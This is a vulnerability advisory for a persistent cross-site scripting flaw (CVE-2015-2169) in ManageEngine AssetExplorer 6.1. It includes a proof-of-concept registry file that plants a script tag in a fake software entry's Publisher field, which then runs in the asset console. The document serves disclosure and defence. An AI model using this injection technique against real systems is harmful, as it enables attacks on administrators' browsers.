ManageEngine Asset Explorer 6.1 - Persistent Cross-Site Scripting

Title:

===============

ManageEngine Asset Explorer v6.1 - XSS Vulnerability





CVE-ID:

====================================

CVE-2015-2169





CVSS:

====================================

3.5





Product & Service Introduction (Taken from their homepage):

====================================

ManageEngine AssetExplorer is a web-based IT Asset Management (ITAM)

software that helps you monitor and manage assets in your network from

Planning phase to Disposal phase. AssetExplorer provides you with a number

of ways to ensure discovery of all the assets in your network. You can

manage software & hardware assets, ensure software license compliance and

track purchase orders & contracts - the whole nine yards! AssetExplorer is

very easy to install and works right out of the box.



(Homepage: https://www.manageengine.com/products/asset-explorer/ )





Abstract Advisory Information:

==============================

Cross site scripting attack can be performed on the manage engine asset

explorer. If the 'publisher' name contains vulnerable script, it gets

executed in the browser.





Affected Products:

====================

Manage Engine

Product: Asset Explorer - Web Application 6.1.0 (Build 6112)





Severity Level:

====================

Medium





Technical Details & Description:

================================

Add a vendor with a script in it to the registry.

Login to the product,

Scan the endpoint where the registry is modified.

In the right pane, go to software->Scanned Software



The script gets executed.



Vulnerable Product(s):

ManageEngine Asset Explorer



Affected Version(s):

Version 6.1.0 / Build Number 6112

(Earlier versions i did not test)



Vulnerability Type(s):

Persistent Cross Site Scripting





PoC:

=======================

Add the following registry entry in the machine, for targeted attack.



Windows Registry Editor Version 5.00



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fake_Software]

"DisplayName"="A fake software 2 installed"

"UninstallString"="C:\\Program Files\\fake\\uninst.exe"

"DisplayVersion"="0.500.20"

"URLInfoAbout"="http://www.dummy.org"

"Publisher"="<script> alert(\"XSS\"); </script>"





Security Risk:

==================

Medium.





Credits & Authors:

==================

Suraj Krishnaswami (suraj.krishnaswami@gmail.com)





Timeline:

==================

Discovered at Wed, March 3, 2015

Informed manage engine about the vulnerability: March 4, 2015

Case moved to development team: March 4, 2015

Asked for updates: March 9, 2015

Asked for updates: March 13, 2015

Asked for updates: April 14, 2015

Public Disclosure at Mon, June 22, 2015